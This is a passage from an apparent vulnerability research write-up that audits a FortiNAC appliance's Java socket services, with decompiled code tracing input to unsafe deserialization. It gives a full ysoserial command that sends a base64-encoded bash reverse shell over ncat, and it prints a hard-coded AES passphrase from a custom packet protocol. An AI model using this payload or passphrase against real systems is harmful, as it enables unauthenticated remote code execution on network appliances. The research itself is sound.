        <span class="o">}</span>
        <span class="k">this</span><span class="o">.</span><span class="na">socket</span><span class="o">.</span><span class="na">setSoTimeout</span><span class="o">(</span><span class="mi">30000</span><span class="o">);</span>
        <span class="kt">byte</span><span class="o">[]</span> <span class="n">store</span> <span class="o">=</span> <span class="nc">X509Provider</span><span class="o">.</span><span class="na">getClientSideKeyStore</span><span class="o">();</span>
        <span class="kd">final</span> <span class="nc">ObjectOutputStream</span> <span class="n">stream</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ObjectOutputStream</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">socket</span><span class="o">.</span><span class="na">getOutputStream</span><span class="o">());</span>
        <span class="n">stream</span><span class="o">.</span><span class="na">writeObject</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">masterStub</span><span class="o">);</span>
        <span class="n">stream</span><span class="o">.</span><span class="na">writeObject</span><span class="o">(</span><span class="n">store</span><span class="o">);</span>
        <span class="kd">final</span> <span class="nc">ObjectInputStream</span> <span class="n">inStream</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ObjectInputStream</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">socket</span><span class="o">.</span><span class="na">getInputStream</span><span class="o">());</span> <span class="c1">// [6]</span>
        <span class="n">store</span> <span class="o">=</span> <span class="o">(</span><span class="kt">byte</span><span class="o">[])</span><span class="n">inStream</span><span class="o">.</span><span class="na">readObject</span><span class="o">();</span> <span class="c1">// [7]</span>
        <span class="nc">Yams</span><span class="o">.</span><span class="na">this</span><span class="o">.</span><span class="na">addKeyStore</span><span class="o">(</span><span class="n">store</span><span class="o">);</span>
        <span class="n">stream</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
        <span class="n">inStream</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
    <span class="o">}</span>
	<span class="o">...</span>
</code></pre></div></div>

<p>This handler reads data from the socket via <code class="language-plaintext highlighter-rouge">java.net.Socket.getInputStream()</code> into a <code class="language-plaintext highlighter-rouge">java.io.ObjectInputStream</code> <code class="language-plaintext highlighter-rouge">[6]</code> and…calls <code class="language-plaintext highlighter-rouge">readObject()</code> on it at <code class="language-plaintext highlighter-rouge">[7]</code>. Sounds like “game over” and I already bet my favourite Java gadgets would have been available in the class path. The java version <strong>1.8.0_332</strong> also didn’t give me any headaches so far. We find plenty of nice Java libraries in <code class="language-plaintext highlighter-rouge">/bsc/campusMgr/lib</code>, <code class="language-plaintext highlighter-rouge">commons-beanutils-1.9.2.jar</code> being one of them.</p>

<p>We don’t have any more reasons to wait, so create and send the payload for a reverse shell over a <code class="language-plaintext highlighter-rouge">ncat</code> SSL connection: <code class="language-plaintext highlighter-rouge">java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzcuMC4xNi8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}" | ncat --ssl 10.137.0.34 1050</code></p>

<p><img src="/assets/images/fortinac/fortinacRCE1.png" alt="fortinacRCE1.png" /></p>

<p>We got a shell as <code class="language-plaintext highlighter-rouge">nac</code> user: <strong>First unauthenticated RCE</strong> in round 1.</p>

<h2 id="auditing-service-port-5555">Auditing Service Port 5555</h2>

<p>That nice and all, but let’s look at another service which might be a bit more challenging and interesting to exploit. Looking at the other process with PID 2547, what can we find in its command line call? <code class="language-plaintext highlighter-rouge">/usr/bin/java -server -Xms32m -Xmx768m -Dyams.dist=/bsc/campusMgr -classpath .:/bsc/campusMgr/lib/*:./properties_plugin:/bsc/campusMgr/properties com.bsc.server.CampusManager /bsc/campusMgr/bin/.networkConfig /bsc/campusMgr/master_loader/.cmas</code>.</p>

<p>Starting with the class <code class="language-plaintext highlighter-rouge">com.bsc.server.CampusManager</code> this time, including some parameters for the entry point. Again, we’re starting at the <code class="language-plaintext highlighter-rouge">main</code> method <code class="language-plaintext highlighter-rouge">com.bsc.server.CampusManager.main(String[] args)</code>.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="kd">final</span> <span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>
    <span class="kd">final</span> <span class="kt">double</span> <span class="n">version</span> <span class="o">=</span> <span class="n">getJavaVersion</span><span class="o">();</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">version</span> <span class="o">&lt;</span> <span class="mf">1.6</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"Error: Incorrect java version. Java 1.6 or higher required. Version = "</span> <span class="o">+</span> <span class="n">version</span><span class="o">);</span>
        <span class="nc">System</span><span class="o">.</span><span class="na">exit</span><span class="o">(</span><span class="mi">1</span><span class="o">);</span>
    <span class="o">}</span>
    <span class="n">loadProperties</span><span class="o">(</span><span class="s">"com.bsc.loader.system.property."</span><span class="o">);</span>
    <span class="nc">X509Provider</span><span class="o">.</span><span class="na">install</span><span class="o">();</span>
    <span class="nc">System</span><span class="o">.</span><span class="na">setProperty</span><span class="o">(</span><span class="s">"javax.rmi.CORBA.UtilClass"</span><span class="o">,</span> <span class="s">"com.bsc.api.CORBAUtil"</span><span class="o">);</span>
    <span class="nc">Thread</span><span class="o">.</span><span class="na">setDefaultUncaughtExceptionHandler</span><span class="o">(</span><span class="k">new</span> <span class="nc">YamsExceptionHandler</span><span class="o">());</span>
    <span class="k">try</span> <span class="o">{</span>
        <span class="kd">final</span> <span class="nc">CampusManager</span> <span class="n">campusManager</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">CampusManager</span><span class="o">(</span><span class="n">args</span><span class="o">);</span> <span class="c1">// [1]</span>
    <span class="o">}</span>
	<span class="o">...</span>
</code></pre></div></div>

<p>At <code class="language-plaintext highlighter-rouge">[1]</code> the constructor for <code class="language-plaintext highlighter-rouge">com.bsc.server.CampusManager.CampusManager(String[] args)</code> gets called, passing along the input arguments. This constructor is huge such that I only try to cut out the relevant stuff for you.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="nf">CampusManager</span><span class="o">(</span><span class="kd">final</span> <span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>
    <span class="o">...</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">args</span><span class="o">.</span><span class="na">length</span> <span class="o">&gt;=</span> <span class="mi">2</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">this</span><span class="o">.</span><span class="na">configFile0</span> <span class="o">=</span> <span class="n">args</span><span class="o">[</span><span class="mi">0</span><span class="o">];</span>
        <span class="k">this</span><span class="o">.</span><span class="na">configFile1</span> <span class="o">=</span> <span class="n">args</span><span class="o">[</span><span class="mi">1</span><span class="o">];</span>
        <span class="kd">final</span> <span class="nc">String</span> <span class="n">yamsDist</span> <span class="o">=</span> <span class="nc">YamsDist</span><span class="o">.</span><span class="na">getCampusMgrPath</span><span class="o">();</span>
        <span class="kd">final</span> <span class="nc">File</span> <span class="n">file</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">File</span><span class="o">(</span><span class="n">yamsDist</span> <span class="o">+</span> <span class="s">"/.intialResources"</span><span class="o">);</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">file</span><span class="o">.</span><span class="na">exists</span><span class="o">())</span> <span class="o">{</span>
            <span class="nc">ResourceManager</span><span class="o">.</span><span class="na">loadInitialResources</span><span class="o">(</span><span class="n">yamsDist</span> <span class="o">+</span> <span class="s">"/.intialResources"</span><span class="o">);</span>
        <span class="o">}</span>
        <span class="k">this</span><span class="o">.</span><span class="na">readConfigFiles</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">configFile0</span><span class="o">,</span> <span class="k">this</span><span class="o">.</span><span class="na">configFile1</span><span class="o">,</span> <span class="kc">true</span><span class="o">,</span> <span class="kc">true</span><span class="o">);</span> <span class="c1">// [2]</span>
    <span class="o">}</span>
	<span class="o">...</span>
</code></pre></div></div>

<p>Hitting the method call at <code class="language-plaintext highlighter-rouge">[2]</code> brings us to the implementation of <code class="language-plaintext highlighter-rouge">com.bsc.server.CampusManager.readConfigFiles(String file0, String file1, boolean createNewLog, boolean startProcesses)</code>. This is another huge function, therefore the relevant snippets are shown here.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kt">void</span> <span class="nf">readConfigFiles</span><span class="o">(</span><span class="kd">final</span> <span class="nc">String</span> <span class="n">file0</span><span class="o">,</span> <span class="kd">final</span> <span class="nc">String</span> <span class="n">file1</span><span class="o">,</span> <span class="kd">final</span> <span class="kt">boolean</span> <span class="n">createNewLog</span><span class="o">,</span> <span class="kd">final</span> <span class="kt">boolean</span> <span class="n">startProcesses</span><span class="o">)</span> <span class="o">{</span>
    <span class="k">this</span><span class="o">.</span><span class="na">debug</span><span class="o">(</span><span class="s">"starting readConfigFiles"</span><span class="o">);</span>
    <span class="o">...</span>
    <span class="k">this</span><span class="o">.</span><span class="na">name</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">product</span><span class="o">;</span>
    <span class="k">if</span> <span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">name</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">startProcesses</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">this</span><span class="o">.</span><span class="na">sslSocketThread</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">CampusManagerSocket</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">serverPort</span><span class="o">,</span> <span class="s">"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA,TLS_RSA_WITH_AES_128_GCM_SHA256,TLS_RSA_WITH_AES_128_CBC_SHA,TLS_RSA_WITH_AES_128_CBC_SHA256,TLS_RSA_WITH_AES_256_CBC_SHA"</span><span class="o">,</span> <span class="s">"TLSv1.2"</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="k">new</span> <span class="nc">CampusManagerSocketListener</span><span class="o">()</span> <span class="o">{</span>
                <span class="nd">@Override</span>
                <span class="kd">public</span> <span class="kt">void</span> <span class="nf">callbackListener</span><span class="o">(</span><span class="kd">final</span> <span class="nc">Socket</span> <span class="n">s</span><span class="o">)</span> <span class="o">{</span> <span class="c1">// [3]</span>
                    <span class="kd">final</span> <span class="nc">Thread</span> <span class="n">t</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Thread</span><span class="o">(</span><span class="k">new</span> <span class="nc">SSLSocketHandler</span><span class="o">(</span><span class="n">s</span><span class="o">),</span> <span class="s">"SSL Socket - "</span> <span class="o">+</span> <span class="n">s</span><span class="o">.</span><span class="na">getRemoteSocketAddress</span><span class="o">()</span> <span class="o">+</span> <span class="s">":"</span> <span class="o">+</span> <span class="n">s</span><span class="o">.</span><span class="na">getPort</span><span class="o">());</span>
                    <span class="n">t</span><span class="o">.</span><span class="na">start</span><span class="o">();</span>
                <span class="o">}</span>
            <span class="o">});</span>
            <span class="kd">final</span> <span class="nc">Thread</span> <span class="n">t</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Thread</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">sslSocketThread</span><span class="o">,</span> <span class="k">this</span><span class="o">.</span><span class="na">sslSocketThread</span><span class="o">.</span><span class="na">getClass</span><span class="o">().</span><span class="na">getName</span><span class="o">());</span>
            <span class="n">t</span><span class="o">.</span><span class="na">start</span><span class="o">();</span>
            <span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">commandThread</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">CommandThread</span><span class="o">()).</span><span class="na">start</span><span class="o">();</span>
        <span class="o">}</span>
		<span class="o">...</span>
</code></pre></div></div>

<p>Looks familiar, doesn’t it? We have a <code class="language-plaintext highlighter-rouge">com.bsc.server.CampusManagerSocket.CampusManagerSocket</code> constructor with a parameter implementing <code class="language-plaintext highlighter-rouge">com.bsc.server.CampusManagerSocketListener</code>’s <code class="language-plaintext highlighter-rouge">callbackListener(final Socket s)</code> method at <code class="language-plaintext highlighter-rouge">[3]</code>.</p>

<p>But this time, we find a <code class="language-plaintext highlighter-rouge">com.bsc.server.CampusManager.SSLSocketHandler.SSLSocketHandler</code> object in our <code class="language-plaintext highlighter-rouge">java.lang.Thread</code> constructor. Looking at the <code class="language-plaintext highlighter-rouge">run</code> method, not so straight-forward anymore, i.e. no lonely <code class="language-plaintext highlighter-rouge">readObject</code> waiting for us to be called.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Override</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">run</span><span class="o">()</span> <span class="o">{</span>
    <span class="kd">final</span> <span class="nc">InetAddress</span> <span class="n">remoteHost</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">socket</span><span class="o">.</span><span class="na">getInetAddress</span><span class="o">();</span>
    <span class="kd">final</span> <span class="kt">int</span> <span class="n">port</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">socket</span><span class="o">.</span><span class="na">getPort</span><span class="o">();</span>
    <span class="k">try</span> <span class="o">{</span>
        <span class="k">if</span> <span class="o">(</span><span class="nc">CampusManager</span><span class="o">.</span><span class="na">this</span><span class="o">.</span><span class="na">debug</span> <span class="o">||</span> <span class="o">!</span><span class="n">remoteHost</span><span class="o">.</span><span class="na">getHostAddress</span><span class="o">().</span><span class="na">equals</span><span class="o">(</span><span class="nc">CampusManager</span><span class="o">.</span><span class="na">this</span><span class="o">.</span><span class="na">ip</span><span class="o">))</span> <span class="o">{</span>
            <span class="nc">CampusManager</span><span class="o">.</span><span class="na">this</span><span class="o">.</span><span class="na">debug</span><span class="o">(</span><span class="s">"Client connecting from IP = "</span> <span class="o">+</span> <span class="n">remoteHost</span><span class="o">.</span><span class="na">getHostAddress</span><span class="o">()</span> <span class="o">+</span> <span class="s">" name = "</span> <span class="o">+</span> <span class="n">remoteHost</span><span class="o">.</span><span class="na">getHostName</span><span class="o">()</span> <span class="o">+</span> <span class="s">" port = "</span> <span class="o">+</span> <span class="k">this</span><span class="o">.</span><span class="na">socket</span><span class="o">.</span><span class="na">getPort</span><span class="o">());</span>
        <span class="o">}</span>
        <span class="k">this</span><span class="o">.</span><span class="na">socket</span><span class="o">.</span><span class="na">setSoTimeout</span><span class="o">(</span><span class="mi">0</span><span class="o">);</span>
        <span class="k">this</span><span class="o">.</span><span class="na">socket</span><span class="o">.</span><span class="na">setKeepAlive</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span>
        <span class="kd">final</span> <span class="nc">OutputStream</span> <span class="n">out</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">socket</span><span class="o">.</span><span class="na">getOutputStream</span><span class="o">();</span>
        <span class="kd">final</span> <span class="nc">InputStream</span> <span class="n">in</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">socket</span><span class="o">.</span><span class="na">getInputStream</span><span class="o">();</span>
        <span class="k">while</span> <span class="o">(</span><span class="kc">true</span><span class="o">)</span> <span class="o">{</span>
            <span class="kd">final</span> <span class="nc">CampusManagerPacket</span> <span class="n">packet</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">CampusManagerPacket</span><span class="o">(</span><span class="n">remoteHost</span><span class="o">,</span> <span class="n">port</span><span class="o">,</span> <span class="n">in</span><span class="o">);</span> <span class="c1">// [4]</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">packet</span><span class="o">.</span><span class="na">isValidHeader</span><span class="o">())</span> <span class="o">{</span>
                <span class="nc">CampusManager</span><span class="o">.</span><span class="na">this</span><span class="o">.</span><span class="na">processPacket</span><span class="o">(</span><span class="n">packet</span><span class="o">,</span> <span class="n">out</span><span class="o">);</span>
            <span class="o">}</span>
        <span class="o">}</span>
    <span class="o">}</span>
	<span class="o">...</span>
</code></pre></div></div>

<p>Yes, again the input from the socket is read by <code class="language-plaintext highlighter-rouge">java.net.Socket.getInputStream()</code> but this time into a <code class="language-plaintext highlighter-rouge">java.io.InputStream</code> variable. So what happens with our data at <code class="language-plaintext highlighter-rouge">[4]</code>?
The large <code class="language-plaintext highlighter-rouge">com.bsc.util.CampusManagerPacket.CampusManagerPacket(InetAddress address, int port, InputStream in)</code> constructor gives us the answers we’re looking for.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="nf">CampusManagerPacket</span><span class="o">(</span><span class="kd">final</span> <span class="nc">InetAddress</span> <span class="n">address</span><span class="o">,</span> <span class="kd">final</span> <span class="kt">int</span> <span class="n">port</span><span class="o">,</span> <span class="kd">final</span> <span class="nc">InputStream</span> <span class="n">in</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span>
		<span class="o">...</span>
    <span class="k">this</span><span class="o">.</span><span class="na">passPhrase</span> <span class="o">=</span> <span class="s">"C1#!ff24A0K2"</span><span class="o">;</span> <span class="c1">// *cough*</span>
		<span class="o">...</span>
    <span class="k">this</span><span class="o">.</span><span class="na">unpackInputStream</span><span class="o">(</span><span class="n">in</span><span class="o">,</span> <span class="n">packetLength</span><span class="o">);</span> <span class="c1">// [5]</span>
<span class="o">}</span>
</code></pre></div></div>

<p>At <code class="language-plaintext highlighter-rouge">[5]</code> our <code class="language-plaintext highlighter-rouge">InputStream</code> is forwarded to the method <code class="language-plaintext highlighter-rouge">com.bsc.util.CampusManagerPacket.unpackInputStream(InputStream in, int packetLength)</code>.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kt">void</span> <span class="nf">unpackInputStream</span><span class="o">(</span><span class="kd">final</span> <span class="nc">InputStream</span> <span class="n">in</span><span class="o">,</span> <span class="kd">final</span> <span class="kt">int</span> <span class="n">packetLength</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span>
    <span class="kd">final</span> <span class="nc">DataInputStream</span> <span class="n">input</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">DataInputStream</span><span class="o">(</span><span class="n">in</span><span class="o">);</span> <span class="c1">//[6]</span>
    <span class="k">this</span><span class="o">.</span><span class="na">requestID</span> <span class="o">=</span> <span class="n">input</span><span class="o">.</span><span class="na">readInt</span><span class="o">();</span> <span class="c1">// [7]</span>
    <span class="k">this</span><span class="o">.</span><span class="na">responseID</span> <span class="o">=</span> <span class="n">input</span><span class="o">.</span><span class="na">readInt</span><span class="o">();</span> <span class="c1">// [8]</span>
    <span class="k">this</span><span class="o">.</span><span class="na">verb</span> <span class="o">=</span> <span class="n">input</span><span class="o">.</span><span class="na">readInt</span><span class="o">();</span> <span class="c1">// [9]</span>
    <span class="kt">int</span> <span class="n">len</span> <span class="o">=</span> <span class="n">input</span><span class="o">.</span><span class="na">readInt</span><span class="o">();</span> <span class="c1">// [10]</span>
    <span class="k">this</span><span class="o">.</span><span class="na">length</span> <span class="o">=</span> <span class="n">len</span><span class="o">;</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">len</span> <span class="o">&gt;</span> <span class="mi">4000</span><span class="o">)</span> <span class="o">{</span>
        <span class="n">len</span> <span class="o">=</span> <span class="n">packetLength</span> <span class="o">-</span> <span class="mi">32</span><span class="o">;</span>
        <span class="k">this</span><span class="o">.</span><span class="na">error</span> <span class="o">=</span> <span class="mi">3</span><span class="o">;</span>
    <span class="o">}</span>
    <span class="kd">final</span> <span class="kt">byte</span><span class="o">[]</span> <span class="n">packetHash</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="o">[</span><span class="mi">16</span><span class="o">];</span>
    <span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">16</span><span class="o">;</span> <span class="o">++</span><span class="n">i</span><span class="o">)</span> <span class="o">{</span>
        <span class="n">packetHash</span><span class="o">[</span><span class="n">i</span><span class="o">]</span> <span class="o">=</span> <span class="n">input</span><span class="o">.</span><span class="na">readByte</span><span class="o">();</span> <span class="c1">// [11]</span>
    <span class="o">}</span>
    <span class="kd">final</span> <span class="kt">byte</span><span class="o">[]</span> <span class="n">calculatedHash</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">hashHeader</span><span class="o">((</span><span class="kt">int</span><span class="o">)</span><span class="k">this</span><span class="o">.</span><span class="na">requestID</span><span class="o">,</span> <span class="o">(</span><span class="kt">int</span><span class="o">)</span><span class="k">this</span><span class="o">.</span><span class="na">responseID</span><span class="o">,</span> <span class="k">this</span><span class="o">.</span><span class="na">verb</span><span class="o">,</span> <span class="k">this</span><span class="o">.</span><span class="na">length</span><span class="o">);</span>
    <span class="k">this</span><span class="o">.</span><span class="na">validHeader</span> <span class="o">=</span> <span class="nc">Arrays</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">packetHash</span><span class="o">,</span> <span class="n">calculatedHash</span><span class="o">);</span>
    <span class="k">this</span><span class="o">.</span><span class="na">aesEncryptionEnabled</span> <span class="o">=</span> <span class="o">((</span><span class="k">this</span><span class="o">.</span><span class="na">verb</span> <span class="o">&amp;</span> <span class="mh">0x1000000</span><span class="o">)</span> <span class="o">!=</span> <span class="mh">0x0</span><span class="o">);</span>
    <span class="k">this</span><span class="o">.</span><span class="na">verb</span> <span class="o">&amp;=</span> <span class="mh">0xFFFFFF</span><span class="o">;</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">len</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="o">)</span> <span class="o">{</span>
        <span class="n">input</span><span class="o">.</span><span class="na">readFully</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">compressedData</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="o">[</span><span class="n">len</span><span class="o">]);</span> <span class="c1">// [12]</span>
    <span class="o">}</span>
    <span class="k">if</span> <span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">compressedData</span> <span class="o">!=</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="k">this</span><span class="o">.</span><span class="na">aesEncryptionEnabled</span><span class="o">)</span> <span class="o">{</span>
        <span class="kd">final</span> <span class="kt">byte</span><span class="o">[]</span> <span class="n">b</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">passPhrase</span><span class="o">.</span><span class="na">getBytes</span><span class="o">();</span>
        <span class="kd">final</span> <span class="nc">ByteArrayOutputStream</span> <span class="n">baos</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ByteArrayOutputStream</span><span class="o">();</span>
        <span class="kd">final</span> <span class="nc">DataOutputStream</span> <span class="n">output</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">DataOutputStream</span><span class="o">(</span><span class="n">baos</span><span class="o">);</span>
        <span class="n">output</span><span class="o">.</span><span class="na">write</span><span class="o">(</span><span class="n">b</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="n">b</span><span class="o">.</span><span class="na">length</span><span class="o">);</span>
        <span class="n">output</span><span class="o">.</span><span class="na">writeInt</span><span class="o">((</span><span class="kt">int</span><span class="o">)</span><span class="k">this</span><span class="o">.</span><span class="na">requestID</span><span class="o">);</span>
        <span class="kd">final</span> <span class="kt">byte</span><span class="o">[]</span> <span class="n">phrase</span> <span class="o">=</span> <span class="n">baos</span><span class="o">.</span><span class="na">toByteArray</span><span class="o">();</span>
        <span class="k">this</span><span class="o">.</span><span class="na">compressedData</span> <span class="o">=</span> <span class="nc">EncodeDecode</span><span class="o">.</span><span class="na">decryptAES</span><span class="o">(</span><span class="n">phrase</span><span class="o">,</span> <span class="k">this</span><span class="o">.</span><span class="na">compressedData</span><span class="o">);</span>
        <span class="n">output</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
        <span class="n">baos</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p>This seems to be some kind of custom packet format being processed, so we do have to understand the structure first.</p>

<p>At <code class="language-plaintext highlighter-rouge">[6]</code> our input flows into a <code class="language-plaintext highlighter-rouge">java.io.DataInputStream.DataInputStream</code> constructor. Then every line from <code class="language-plaintext highlighter-rouge">[7]</code> to <code class="language-plaintext highlighter-rouge">[10]</code> reads the next four bytes from the stream, then being interpreted as an <code class="language-plaintext highlighter-rouge">int</code>. <code class="language-plaintext highlighter-rouge">requestID, responseID, verb</code> and <code class="language-plaintext highlighter-rouge">len</code> will be relevant later but as you see, all of these are user-controlled.</p>

<p>This is also the case for a packet hash, fetched from the stream at <code class="language-plaintext highlighter-rouge">[11]</code>. This is then compared to a <code class="language-plaintext highlighter-rouge">calculatedHash</code> which…well consists of a calculation solely based on the other variables we control already.</p>

<p>At <code class="language-plaintext highlighter-rouge">[12]</code> then, the remaining data are read from the stream into the <code class="language-plaintext highlighter-rouge">compressedData</code> variable. Depending on the <code class="language-plaintext highlighter-rouge">verb</code>, there might be an additional <em>decryption routine</em>. That wouldn’t hold as back of course because the secret key is <em>hard-coded</em> anyways…</p>

<p>Back to our <code class="language-plaintext highlighter-rouge">com.bsc.server.CampusManager.SSLSocketHandler.run()</code> method, <code class="language-plaintext highlighter-rouge">packet.isValidHeader()</code> will be equal to <code class="language-plaintext highlighter-rouge">true</code> for sure, because we understood the packet structure and know what we’re doing, right? The next line in the code flow hits <code class="language-plaintext highlighter-rouge">CampusManager.this.processPacket(packet, out)</code>.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kt">void</span> <span class="nf">processPacket</span><span class="o">(</span><span class="kd">final</span> <span class="nc">CampusManagerPacket</span> <span class="n">packet</span><span class="o">,</span> <span class="kd">final</span> <span class="nc">OutputStream</span> <span class="n">out</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span>
    <span class="kd">final</span> <span class="nc">InetAddress</span> <span class="n">host</span> <span class="o">=</span> <span class="n">packet</span><span class="o">.</span><span class="na">getAddress</span><span class="o">();</span>
    <span class="kd">final</span> <span class="kt">int</span> <span class="n">port</span> <span class="o">=</span> <span class="n">packet</span><span class="o">.</span><span class="na">getPort</span><span class="o">();</span>
    <span class="kd">final</span> <span class="nc">String</span> <span class="n">packetIP</span> <span class="o">=</span> <span class="n">host</span><span class="o">.</span><span class="na">getHostAddress</span><span class="o">();</span>
    <span class="k">this</span><span class="o">.</span><span class="na">debug</span><span class="o">(</span><span class="s">"ReceivePacket IP = "</span> <span class="o">+</span> <span class="n">packetIP</span> <span class="o">+</span> <span class="s">" port = "</span> <span class="o">+</span> <span class="n">port</span> <span class="o">+</span> <span class="s">" Verb = "</span> <span class="o">+</span> <span class="nc">CampusManagerPacket</span><span class="o">.</span><span class="na">verbToString</span><span class="o">(</span><span class="n">packet</span><span class="o">.</span><span class="na">getVerb</span><span class="o">())</span> <span class="o">+</span> <span class="s">" RequestID = "</span> <span class="o">+</span> <span class="n">packet</span><span class="o">.</span><span class="na">getRequestID</span><span class="o">()</span> <span class="o">+</span> <span class="s">" ResponseID = "</span> <span class="o">+</span> <span class="n">packet</span><span class="o">.</span><span class="na">getResponseID</span><span class="o">()</span> <span class="o">+</span> <span class="s">" length = "</span> <span class="o">+</span> <span class="n">packet</span><span class="o">.</span><span class="na">getLength</span><span class="o">());</span>
    <span class="nc">String</span> <span class="n">xml</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
    <span class="k">try</span> <span class="o">{</span>
        <span class="n">xml</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">processPacket</span><span class="o">(</span><span class="n">packet</span><span class="o">);</span> <span class="c1">// [13]</span>
    <span class="o">}</span>
    <span class="k">catch</span> <span class="o">(</span><span class="kd">final</span> <span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
        <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
        <span class="n">xml</span> <span class="o">=</span> <span class="s">"Process aborting. "</span> <span class="o">+</span> <span class="n">e</span><span class="o">.</span><span class="na">getMessage</span><span class="o">();</span>
    <span class="o">}</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">packet</span><span class="o">.</span><span class="na">getVerb</span><span class="o">()</span> <span class="o">!=</span> <span class="mi">2</span><span class="o">)</span> <span class="o">{</span>
        <span class="kd">final</span> <span class="nc">CampusManagerPacket</span> <span class="n">p</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">CampusManagerPacket</span><span class="o">();</span>
        <span class="n">p</span><span class="o">.</span><span class="na">setAddress</span><span class="o">(</span><span class="n">host</span><span class="o">);</span>
        <span class="n">p</span><span class="o">.</span><span class="na">setPort</span><span class="o">(</span><span class="n">port</span><span class="o">);</span>
        <span class="n">p</span><span class="o">.</span><span class="na">setVerb</span><span class="o">(</span><span class="mi">2</span><span class="o">);</span>
        <span class="n">p</span><span class="o">.</span><span class="na">setResponseID</span><span class="o">(</span><span class="n">packet</span><span class="o">.</span><span class="na">getRequestID</span><span class="o">());</span>
        <span class="n">p</span><span class="o">.</span><span class="na">setXml</span><span class="o">(</span><span class="n">xml</span><span class="o">);</span>
